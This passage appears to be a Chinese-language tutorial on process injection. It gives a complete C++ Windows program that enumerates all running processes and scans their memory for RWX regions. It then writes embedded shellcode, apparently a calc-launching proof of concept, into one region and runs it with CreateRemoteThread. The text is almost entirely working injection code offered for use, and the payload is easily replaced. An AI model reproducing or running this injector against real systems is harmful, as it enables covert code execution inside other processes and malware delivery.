但是在我们的计算机上运行大量的进程,这些进程或多或少会有RWX的内存区域,我们可以在系统上暴力破解/枚举当前正在运行的目标进程,搜索它们分配的内存块并检查是否有任何受 RWX 保护的内存块,以便我们可以尝试写入/读取/执行它们。
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
int main()
{
MEMORY_BASIC_INFORMATION mbi = {}; // 用于存储内存基本信息的结构体
LPVOID offset = 0; // 内存偏移量初始化为 0
HANDLE process = NULL; // 进程句柄初始化为 NULL
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // 创建一个快照,获取当前系统中的所有进程
PROCESSENTRY32 processEntry = {}; // 进程条目结构体,用于存储进程信息
processEntry.dwSize = sizeof(PROCESSENTRY32); // 设置结构体大小
DWORD bytesWritten = 0; // 用于存储写入字节数
unsigned char shellcode[] = { // 定义要注入的 shellcode
0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3
};
int count = 0; // 计数器,用于跟踪找到的 RWX 区域数量
// 获取第一个进程
Process32First(snapshot, &processEntry);
// 遍历所有进程
while (Process32Next(snapshot, &processEntry))
{
// 打开进程,获取其句柄
process = OpenProcess(MAXIMUM_ALLOWED, false, processEntry.th32ProcessID);
if (process) // 如果成功打开进程
{
std::wcout << processEntry.szExeFile << "\n"; // 输出进程的可执行文件名
// 查询进程的内存信息
while (VirtualQueryEx(process, offset, &mbi, sizeof(mbi)))
{
// 更新偏移量到下一个内存区域
offset = (LPVOID)((DWORD_PTR)mbi.BaseAddress + mbi.RegionSize);
// 检查内存区域是否为可读写执行(RWX)
if (mbi.AllocationProtect == PAGE_EXECUTE_READWRITE && mbi.State == MEM_COMMIT && mbi.Type == MEM_PRIVATE)
{
std::cout << "\tRWX: 0x" << std::hex << mbi.BaseAddress << "\n"; // 输出 RWX 区域的基地址
// 在第60个 RWX 区域注入 shellcode,你可以自行决定
if (count == 60)
{
// 向目标进程的内存中写入 shellcode
WriteProcessMemory(process, mbi.BaseAddress, shellcode, sizeof(shellcode), NULL);
// 在目标进程中创建远程线程,执行 shellcode
CreateRemoteThread(process, NULL, NULL, (LPTHREAD_START_ROUTINE)mbi.BaseAddress, NULL, NULL, NULL);
}
count++; // 增加计数器
}
}
offset = 0; // 重置偏移量
}
CloseHandle(process); // 关闭进程句柄
}
return 0;
}